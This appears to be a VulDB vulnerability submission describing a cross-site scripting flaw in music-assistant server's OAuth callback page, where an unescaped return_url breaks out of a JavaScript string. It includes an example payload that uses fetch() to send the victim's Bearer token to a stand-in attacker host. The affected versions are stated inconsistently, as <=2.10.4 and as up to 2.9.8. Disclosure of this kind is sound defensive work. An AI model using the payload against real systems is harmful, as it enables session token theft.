| Title | music-assistant server <=2.10.4 XSS |
|---|
| Description | WebserverController._handle_auth_callback (GET /auth/callback) builds the OAuth-success page by naively string-replacing a {REDIRECT_URL} placeholder into a JavaScript single-quoted string literal inside oauth_callback.html:
const token = '{TOKEN}';
const redirectUrl = '{REDIRECT_URL}'; // no JS-string escaping applied
The value substituted, final_redirect_url, derives from the return_url query parameter an unauthenticated caller supplies to GET /auth/authorize?provider_id=...&return_url=..., which is stored server-side keyed by OAuth state and later retrieved verbatim after the OAuth round-trip. Its only validation, is_allowed_redirect_url() (music_assistant/helpers/redirect_validation.py), checks only URL scheme and hostname (open-redirect style allowlisting) via urlparse() — it does not reject or escape ', <, >, or any other HTML/JS-breaking characters in the URL path/query. A return_url such as https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+token)-' passes validation as "trusted" and, once substituted into the template, breaks out of the JS string literal, turning into attacker-controlled executable JavaScript that runs in the victim's browser on the Music Assistant origin — in the same scope as the token variable, which holds the victim's freshly issued Bearer auth token.
|
|---|
| Source | ⚠️ https://github.com/zast-ai/vulnerability-reports/blob/main/music-assistant/server/xss.md |
|---|
| User | ZAST.AI (UID 87884) |
|---|
| Submission | 09/29/2026 06:16 (25 days ago) |
|---|
| Moderation | 10/20/2026 12:58 (21 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 422756 [music-assistant server up to 2.9.8 OAuth Callback oauth_callback.html WebserverController._handle_auth_callback return_url cross site scripting] |
|---|
| Points | 20 |
|---|